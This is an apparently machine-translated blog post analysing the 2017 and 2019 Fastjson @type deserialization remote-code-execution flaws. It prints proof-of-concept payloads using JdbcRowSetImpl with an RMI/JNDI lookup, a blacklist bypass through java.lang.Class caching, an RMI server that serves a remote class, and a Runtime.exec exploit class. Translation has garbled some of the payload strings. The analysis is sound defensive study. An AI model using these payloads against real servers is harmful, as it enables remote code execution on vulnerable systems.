background
Fastjson claims to do the best JSON parsing library, but the first half of the year has received two security vulnerabilities warning, very embarrassed, so fastJSON vulnerabilities to do a simple study. This article will analyze remote execution vulnerabilities in 2017 and 0Day vulnerabilities in the first half of 2019.
Noun explanation:
0day: 0day in the sense of information security refers to the vulnerability information that is known or made public before the system vendor knows and releases the relevant patch. Poc :Proof ofConcept. This phrase is used in a vulnerability report, where a POC is a description or an example of an attack that allows the reader to confirm that the vulnerability is real.
I. Remote execution vulnerability in 2017
Official link. The ’17 vulnerability is relatively simple and relies on the @type feature to easily attack the server. I’ll show you the POC code, take a look at the execution, and finally summarize the process and the solution at the time.
Poc code
public class Exploit implements ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<? ,? > environment) { exec("open /Applications/Calculator.app"); return null; } public static void exec(String cmd) { try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } }Copy the code
import com.alibaba.fastjson.JSON; public class Demo { public static void main(String[] args) throws Exception { String payload = "{\" @ type \ ": \" com. Sun. Rowset. JdbcRowSetImpl \ "and \" dataSourceName \ ": \" rmi: / / 127.0.0.1:1099 / exploits \ ", "+ "\"autoCommit\":true}"; JSON.parse(payload); }}Copy the code
Attack process
1. Load the JDBC class and set RMI
The class is loaded back when it resolves to @type
JdbcRowSetImpl sets the dataSource name. The setDataSource method is called by default
Load the static methods of the class
2. Call remote methods through RMI
Rmi: RmI relies on the Java Remote Message Protocol (JRMP), which is customized for Java and requires both the server and client to be written for Java.
public class Server { public static void start() throws AlreadyBoundException, RemoteException, NamingException {/ / set the rmi port Registry Registry. = LocateRegistry createRegistry (1099); Reference Reference = new Reference("Exploit", "Exploit","http://127.0.0.1:8001/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); / / binding registry. Bind (" exploits, "referenceWrapper); } public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { start(); }}Copy the code
One of the core features of RMI is dynamic class loading. If a class is not defined in the current JVM, it can download the class from a remote URL. Dynamically loaded object class files can be hosted using Web services. This allows for dynamic extension of remote application functionality. Multiple RMI applications can be dynamically loaded and bound to the RMI registry. For the client, the return value from the server may also be object instances of subclasses for which the client does not have class files. The ability to dynamically load additional classes at runtime is also required if the client is required to properly call overridden methods in these subclasses. The client uses the same mechanism as the RMI registry. The RMI server passes the URL to the client, which downloads the classes through an HTTP request.
-> JdbcRowSetImpl.setAutoCommit -> JdbcRowSetImpl.connect() -> InitialContext.lookup(dataSource)
The serialized class is downloaded from the attacker server and initialized during the lookup. At this point the static method is executed to complete the attack.
3. Fastjson solution
git-diff
Added type checksum blacklist, @type direct initialization failed, single attack can be defended. But there was still a problem with that, so the 0day bug came out in ’19
2. Remote execution vulnerability in 2019
Hole link
Poc code
import com.alibaba.fastjson.JSON; public class Demo { public static void main(String[] args) throws Exception { String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.J DataSourceName dbcRowSetImpl \ ", \ "\", \ "the rmi: / / 127.0.0.1:1099 / exploits \", \ "the autoCommit \" : true}} "; JSON.parse(payload); }}Copy the code
Other codes are consistent with year 17.
Attack process
Obviously, to initialize the type, you need to bypass the blacklist detection. How can you bypass this?
1. @type bypasses the process
Because java.lang.String is a whitelist class, so checkAutoType checks through and then goes to this point
When a string is identified, its val is loaded, and the class does the load
The following xxkey can be obtained directly from the mapping when loading, so the following is bypassed.
It’s no different than the ’17 bug
2. Solutions
Not in the cache type, try the original secondary load invalidation. [official diff]
Third, summary
Both exploit the @type feature and find ways around detection. Security use to often update the version, pay attention to the official website vulnerability notice. In addition to this, there are many other attacks, but this is just one of them, because it is widely used.
Reference data
- fastjson
- In-depth understanding of JNDI injection and Java deserialization exploits
- fastjson-rce-exploit